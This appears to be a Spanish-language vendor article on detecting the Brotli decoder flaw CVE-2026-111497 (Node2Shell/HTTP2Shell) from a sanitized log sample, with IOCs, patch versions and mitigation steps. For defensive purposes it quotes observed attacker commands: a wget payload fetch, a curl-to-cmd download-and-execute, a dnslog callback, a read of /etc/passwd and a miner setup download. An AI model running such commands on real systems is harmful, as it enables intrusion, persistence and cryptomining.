La detección de Node2Shell/HTTP2Shell es más difícil de lo que parece, porque la vulnerabilidad no está confinada a un solo producto. Node2Shell, también llamado HTTP2Shell, es CVE-2026-111497: una escritura fuera de límites en el decodificador C de Brotli de Google, versiones 1.0.3 a 1.2.0, con una puntuación CVSS 4.0 de 9.2. Dado que el fallo se encuentra en una biblioteca de compresión compartida, alcanza a Node.js, paquetes Brotli de Python, Bun, curl, Envoy y otros software que decodifican Brotli.
Este artículo cubre la detección de Node2Shell/HTTP2Shell utilizando una muestra de registro analizada en LogTotal, una herramienta de análisis de registros que compara eventos con amenazas conocidas. A continuación, tratamos el contexto de la vulnerabilidad, la fuente del registro, lo que informó LogTotal y cómo responder.
Análisis de Node2Shell (HTTP2Shell)
El código vulnerable está en las versiones 1.0.3 a 1.2.0 del decodificador Brotli C. Google, como autoridad de numeración, le otorgó una puntuación de 9.2 bajo CVSS 4.0, mientras que Node.js lo considera de Alta gravedad. Para leer correctamente la muestra de registro, es útil saber cómo se desencadena el error, cómo se desarrolló la divulgación y qué versiones de software y configuraciones están expuestas.
Detalles de la vulnerabilidad de Node2Shell
Un flujo de Brotli que declaraba un solo tipo de bloque y luego cambiaba de bloques no fue rechazado, por lo que la decodificación continuaba en un estado inválido y escribió más allá de un búfer. Cualquier proceso que descompresione datos Brotli controlados por un atacante puede ser afectado, en dos direcciones:
- Entrante: un cuerpo de solicitud HTTP comprimido con Brotli diseñado y enviado a un servidor que lo decodifica.
- Saliente: una respuesta diseñada devuelta a un cliente que la recupera.
El bug tiene varios nombres. Node2Shell fue el primero porque Node.js lo divulgó y solucionó primero. HTTP2Shell refleja que alcanza cualquier pila que decodifique Brotli sobre HTTP, y algunas coberturas también usan Python2Shell y Broccoli2Shell.
Cronología de divulgación y explotación
| Fecha (2026) | Evento |
| 27 de octubre | CISA añadió el CVE a su catálogo KEV; las agencias federales de EE.UU. deben parchear antes del 10 de noviembre |
| 26 de octubre | Explotación en esta muestra registrada en app-node-01 |
| 25 de octubre | Microsoft liberó correcciones de .NET fuera de ciclo |
| 22 de octubre | CVE publicado; ejecución de código mostrada públicamente en Node.js 24.22.0; Bun 1.4.4 lanzado |
| 21 de octubre | Divulgación y las versiones corregidas de Node.js; Brotli 1.0.10, 1.1.1 y 1.2.1 lanzados |
| 27 de febrero | Corrección comprometida en google/brotli sin lanzamiento ni advisory |
El bug en sí fue enviado en Brotli 1.0.3 en marzo de 2018. Khai Tran y Sylvie Mayer de OpenAI Codex Security lo reportaron a Node.js. Existe una prueba de concepto pública, Imperva y ELLIO ambas reprodujeron la ejecución de código contra construcciones oficiales de Node.js, y los escáneres que mapean qué hosts descomprimen Brotli ya están en uso. No se ha demostrado la ejecución de código en los paquetes de Python, aunque se bloquean con entrada maliciosa, como lo muestra el fallo de web-prod-01 en esta muestra.
Versiones afectadas de Node2Shell y correcciones
| Componente | Corregido en |
| Node.js 26.x / 24.x / 22.x | 26.12.1 / 24.22.1 / 22.23.4 |
| Node.js 20.x y otras líneas fuera de ciclo | Sin corrección; cambie a una línea soportada |
| Bun | 1.4.4 |
| Librería Brotli de Google | 1.0.10, 1.1.1, 1.2.1 |
| PyPI brotli / brotlicffi | 1.2.1 / 1.2.1.0 |
| .NET runtime 8 / 9 / 10 | 8.0.33 / 9.0.22 / 10.0.14 |
| Envoy | 1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0 |
| Istio | 1.29.9, 1.30.6, 1.31.2 |
| Java brotli4j / Ruby brotli gem | 1.24.0 / 0.9.1 |
Una versión vulnerable solo está expuesta si los datos del atacante pueden llegar al decodificador. En Node.js, ese camino existe a través de Express 5, body-parser 2.x, los analizadores de cuerpo Koa, @fastify/compress con descompresión de solicitudes, fetch(), y llamadas directas a node:zlib Brotli. En Python, requests, httpx, aiohttp, y Scrapy utilizan el paquete brotli o brotlicffi siempre que esté instalado. En .NET, la descompresión Brotli está desactivada por defecto, y Envoy e Istio se exponen solo con el descompresor Brotli habilitado. curl decodifica Brotli solo con –compressed, a través de libbrotli del sistema, por lo que necesita un paquete de distribución parcheado; Debian y Red Hat han enviado soluciones.
Fuente y recopilación de registros
| Atributo | Valor |
| Archivo | Node2Shell_HTTP2Shell_sample-sanitized.jsonl |
| Eventos | 11 |
| Ventana de tiempo | 26 de octubre de 2026, 11:30:55 a 11:33:05 UTC |
| Esquema | Estilo ECS |
| Fuentes | 4 mensajes de texto plano del kernel de Linux y systemd-coredump; 7 eventos de creación de procesos de Microsoft Defender para Endpoint |
Hosts en la muestra
Tres hosts aparecen en los datos en bruto, en dos sistemas operativos. Cada uno muestra una parte diferente de la exposición a Node2Shell.
| Host | OS | Tiempo de ejecución | Actividad en los registros |
| app-node-01 | Linux | Aplicación Node.js /opt/app/server.js | Fallo de Brotli, luego comandos de post-explotación |
| web-prod-01 | Linux | Proceso Python | Fallo en _brotli.cpython-311 |
| win-dev-01 | Windows | Aplicación Node.js C:Usersdevuserappserver.js | Descargar y ejecutar, PowerShell oculto |
Detectar Node2Shell (HTTP2Shell)
LogTotal procesó 11 líneas en 5.3 segundos y coincidió con 23 reglas contra 10 líneas. Formó 2 cadenas, reportó 1, y filtró 1 en el paso de verificación de IA.
| Campo de veredicto | Resultado |
| Veredicto | Sospechoso, necesita investigación |
| Severidad | Alta |
| Confianza | Media |
La cadena reportada es Node2Shell / HTTP2Shell es una vulnerabilidad crítica (CVE-2026-111497): Alta, coincidencia del 100%, 2 reglas activadas. Se encuentra en un host seudonimizado entre las 11:30 y 11:31 UTC, y esa ventana y evidencia coinciden con app-node-01.
Explotación: el fallo del decodificador Brotli
La regla «Posible intento de explotación CVE-2026-111497 (HTTP2Shell / Node2Shell) – Fallo nativo del decodificador Brotli» coincidió con el node haciendo segfault en libbrotlidec.so.1.1.0. La pila del core dump es encabezada por BrotliDecoderDecompressStream.
El informe mapea este fallo a la denegación de servicio (T1499.004), de donde proviene la etapa de Impacto. El último impacto de la regla, a las 11:33, cae sobre el fallo de python3 en _brotli.cpython-311 en web-prod-01, que muestra la misma librería fallando en un segundo tiempo de ejecución.
Post-explotación en Linux
«Procesos hijos sospechosos de NodeJS [Linux]» se activó 4 veces cuando node /opt/app/server.js generó:
- curl obteniendo el script de configuración pública C3Pool XMRig miner
- wget http://198.51.100.23:3000/s.sh
- ping -c 1 5axzi7.dnslog.cn, una verificación de retorno de llamada out-of-band
- cat /etc/passwd
Post-explotación en Windows, fuera de la cadena
La mitad de Windows de la muestra se encuentra fuera de la cadena reportada pero merece la misma atención. En win-dev-01, node.exe generó cmd.exe /c «curl -s https://198.51.100.23/api/w | cmd», un patrón de descarga y ejecución, y luego un powershell.exe oculto ejecutando whoami.
Las reglas que se activaron en esta actividad incluyen Procesos hijos sospechosos de NodeJS [Windows], Leer contenidos desde Stdin a través de Cmd.EXE y Cmdlets sospechosos de Powershell. La cadena filtrada, Conoce AvisLoader: Un cargador de Windows construido para perdurar tras una eliminación (Alta), fue conducida por las ejecuciones de curl.
IOCs de Node2Shell de esta muestra
| Indicador | Tipo | Contexto |
| 198.51.100.23 | IP | Host de carga para s.sh (puerto 3000) y /api/w (HTTPS) |
| http://198.51.100.23:3000/s.sh | URL | Script obtenido por wget en app-node-01 |
| https://198.51.100.23/api/w | URL | Canalizado a cmd en win-dev-01 |
| 5axzi7.dnslog.cn | Dominio | Retorno de llamada out-of-band mediante ping |
| Script de configuración del minero C3Pool XMRig | Descargar | Obtenido por curl desde node |
| libbrotlidec.so.1.1.0 con BrotliDecoderDecompressStream en la pila | Firma de fallo | Intento de explotación de Node.js |
| Fallo en _brotli.cpython-311 | Firma de fallo | Intento de explotación de Python |
| node / node.exe generando curl, wget, ping, cat, cmd.exe, powershell.exe | Linaje del proceso | Post-explotación |
Usando hallazgos de LogTotal en la evaluación de Node2Shell
Empiece desde la cadena reportada para confirmar la explotación en app-node-01, luego trabaje en cada hallazgo fuera de la cadena. En esta muestra, las reglas fuera de la cadena y la cadena filtrada apuntan a dos hosts más afectados, web-prod-01 y win-dev-01.
Mitigación de Node2Shell (HTTP2Shell)
Parchear Node.js por sí solo no cierra Node2Shell, porque el fallo está en el decodificador Brotli compartido. Cada runtime o proxy que decodifique Brotli necesita una actualización, y cada host en la muestra necesita estar en el alcance.
Parchee cada consumidor de Brotli
- Encuentre servicios en Node.js por debajo de 22.23.4, 24.22.1, o 26.12.1, en una línea fuera de ciclo de Node.js, o en Bun por debajo de 1.4.4, incluyendo imágenes base y hosts de construcción.
- Parchee primero los servicios que descomprimen cuerpos de solicitud (Express 5, body-parser 2.x, los analizadores de cuerpo Koa, @fastify/compress), obtienen URLs proporcionados por el usuario, o pasan datos no confiables a funciones node:zlib Brotli.
- Actualice el runtime, luego reinicie procesos y reconstruya imágenes de contenedores, incluidas aplicaciones .NET autocontenidas y binarios construidos con bun build –compile.
- Actualice PyPI brotli a 1.2.1 y brotlicffi a 1.2.1.0, y actualice el runtime de .NET, Envoy, Istio y los paquetes de brotli de distribución.
- Muévase de Node.js 20 y otras líneas fuera de ciclo, que no recibirán corrección.
- Hasta que lleguen los parches, rechace Content-Encoding: br en el WAF o proxy, comparándolo sin diferenciar mayúsculas de minúsculas y dentro de listas como «gzip, br». Esto no cubre respuestas Brotli leídas por fetch().
Respuesta recomendada por LogTotal
- Aísle el host.
- Recopile datos de proceso, sistema y red para 11:30–11:33 UTC.
- Verifique el nivel de parche de Node.js: 22.23.4, 24.22.1, o 26.12.1.
- Elimine binarios no autorizados.
- Rechace Content-Encoding: br no confiable en el WAF.
- Ejecute Node.js sin privilegios.
- Desactive la descompresión automática de Brotli donde sea posible.
Pasos adicionales desde la evidencia cruda
- Amplíe el alcance a win-dev-01 y web-prod-01, no solo a app-node-01.
- Bloquee en el egreso 198.51.100.23 y *.dnslog.cn.
- Revise en busca de un minero: entradas cron, unidades systemd, y un proceso xmrig en ejecución.
- Asuma que /etc/passwd fue leído y revise las cuentas en consecuencia.
- Busque node, node.exe, o python3 generando shells, descargadores, o herramientas de red.
Monitoreo continuo de Node2Shell
Reenvíe mensajes de kernel y systemd-coredump junto con eventos de proceso EDR. En esta muestra, la pila de coredump fue la única evidencia directa de explotación, y los eventos de EDR llevaron todo lo que siguió.
FAQ
¿Qué es Node2Shell (HTTP2Shell) y cómo funciona?
Node2Shell, también llamado HTTP2Shell, es CVE-2026-111497: una escritura fuera de límites en el decodificador C de Brotli de Google, versiones 1.0.3 a 1.2.0, con una puntuación CVSS 4.0 de 9.2. Los datos diseñados de Brotli pueden bloquear cualquier proceso que los descomprima, y en Node.js se ha demostrado que permite la ejecución de código remoto. La sección de análisis anterior explica cómo funciona.
¿Cuándo se descubrió Node2Shell por primera vez?
Khai Tran y Sylvie Mayer de OpenAI Codex Security encontraron el bug y lo reportaron a Node.js. Se remonta a Brotli 1.0.3 en marzo de 2018. Una corrección fue comprometida en upstream el 27 de febrero de 2026 sin lanzamiento, y Node.js divulgó el fallo el 21 de octubre de 2026.
¿Cuál es el impacto de Node2Shell en los sistemas?
El fallo en sí es una denegación de servicio, y la actividad posterior muestra ejecución de código en el contexto del proceso vulnerable. En esta muestra, eso significó una descarga de script de configuración de minero criptominador, una obtención de carga, un retorno de llamada DNS out-of-band, una lectura de /etc/passwd, y descarga y ejecución en un host de Windows.
¿Node2Shell todavía puede afectarme en 2026?
Sí. CVE-2026-111497 se explota en el mundo y está listado en el catálogo KEV de CISA. Node.js no parcheado, Bun, Python, .NET y despliegues de proxy permanecen expuestos, y Node.js 20 y otras líneas fuera de ciclo nunca recibirán corrección.
¿Cómo puedo protegerme de Node2Shell?
Parchee Node.js y cualquier otro consumidor de Brotli, reinicie procesos y reconstruya imágenes. Hasta entonces, rechace Content-Encoding: br en el WAF o proxy y desactive la descompresión automática de Brotli donde sea posible. La sección de mitigación enumera todos los pasos.
¿Cómo puedo detectar Node2Shell?
Recolecte registros de kernel y systemd-coredump además de eventos de proceso EDR de cada host de Node.js y Python. Alerta sobre fallos del decodificador Brotli y en runtime generando shells o descargadores. LogTotal mapea estos eventos a la cadena de Node2Shell, pero revise los hallazgos fuera de la cadena también, ya que revelaron dos hosts adicionales aquí.